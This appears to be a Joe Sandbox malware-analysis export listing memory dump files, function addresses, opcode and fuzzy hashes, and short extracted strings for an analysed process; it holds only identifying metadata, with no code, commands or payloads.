Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: cdd765358d297ad28d921dad3719eddbfad4bb32af7706d7dcd121abdec88dab
Instruction ID: 647b860e34ad1a9c1524ec2bdf7b85c4c6f9d6a4ada3d038545964989b041ac4
Opcode Fuzzy Hash: cdd765358d297ad28d921dad3719eddbfad4bb32af7706d7dcd121abdec88dab
Instruction Fuzzy Hash: 54F1BEB5A00A01CFC724DF24D881A26B7F2FF49314B148ABDE49B876A1EB30F955DB45

Function 00B5CCD0 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00B5CDC3, 00B5CDCB

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: InitializeThunk
String ID: %*+(
API String ID: 2994545307-3233224373
Opcode ID: df7a8fbbb8b09062fa8ab83c7d1070afa946aae86f1af8528cfe7f9cbe0cd72c
Instruction ID: b973389112eb7aca5f5a38a9f306150d307e23f9270f39ff65390077ff749845
Opcode Fuzzy Hash: df7a8fbbb8b09062fa8ab83c7d1070afa946aae86f1af8528cfe7f9cbe0cd72c
Instruction Fuzzy Hash: 59B1F0706083059FD724DF14D891B2BBBF2EF85342F1849ACE9C59B291E335E859CB92

Function 00B4D457 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00B4D663, 00B4D66B

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 57bf3fb79503d7e1bc0de54431443484cbf8b92735efdf9ad87797b765bf1397
Instruction ID: 0eb3c1eb51bdfdcd9fd0947ff17ad8ccdb9aafcb0671cadc202a5638658883ec
Opcode Fuzzy Hash: 57bf3fb79503d7e1bc0de54431443484cbf8b92735efdf9ad87797b765bf1397
Instruction Fuzzy Hash: E761E371908204DBD710EF58DC82A2AB3F0FFA5754F0849ACF9899B361EB31DA14D792

Function 00B74A40 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00B74C33, 00B74C3B

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: c5c4cd25eee1af6629f337fabc722baba6e07af46b9f425d447c2708bd02beed
Instruction ID: 818919cadf3f1125917ae3cecb5d50ca55856c790aa8e1a624236a4a50ace203
Opcode Fuzzy Hash: c5c4cd25eee1af6629f337fabc722baba6e07af46b9f425d447c2708bd02beed
Instruction Fuzzy Hash: F461EF756083019BD721DF25C880B2AB7E6EB84312F18C99CE5E9873A1D771EC00CB92

Function 00B73920 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00B739E3, 00B739EB

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 77d83d28816834a0a9e39e58f2aa4b59d73e957510eb961cfabe548a0fbf7d6c
Instruction ID: c2333b05656292c690b93a35f2cf07c4eed5e3ec2df57be865fcac8669f344a4
Opcode Fuzzy Hash: 77d83d28816834a0a9e39e58f2aa4b59d73e957510eb961cfabe548a0fbf7d6c
Instruction Fuzzy Hash: 9E51B3346092019BC724DF15D881A2EBBE5FF85B44F14C86CE4EE97261D772DD10EB62

Function 00B41BEE Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

L3, xrefs: 00B41C3E

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: L3
API String ID: 0-2730849248
Opcode ID: 17c49e52d7d04cb90d24dc0872d82397c01972ac13e930cd8772fe1ff649fdf2
Instruction ID: 7949a474a394bf6f961f5f73617eceee104f564c79437860d3675319f0b58e68
Opcode Fuzzy Hash: 17c49e52d7d04cb90d24dc0872d82397c01972ac13e930cd8772fe1ff649fdf2
Instruction Fuzzy Hash: 61414EB48083819BCB149F28D894A2BBBF0FF86314F048D1CF5C59B2A1D736CA45DB5A

Function 00B46F91 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00B4703B

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
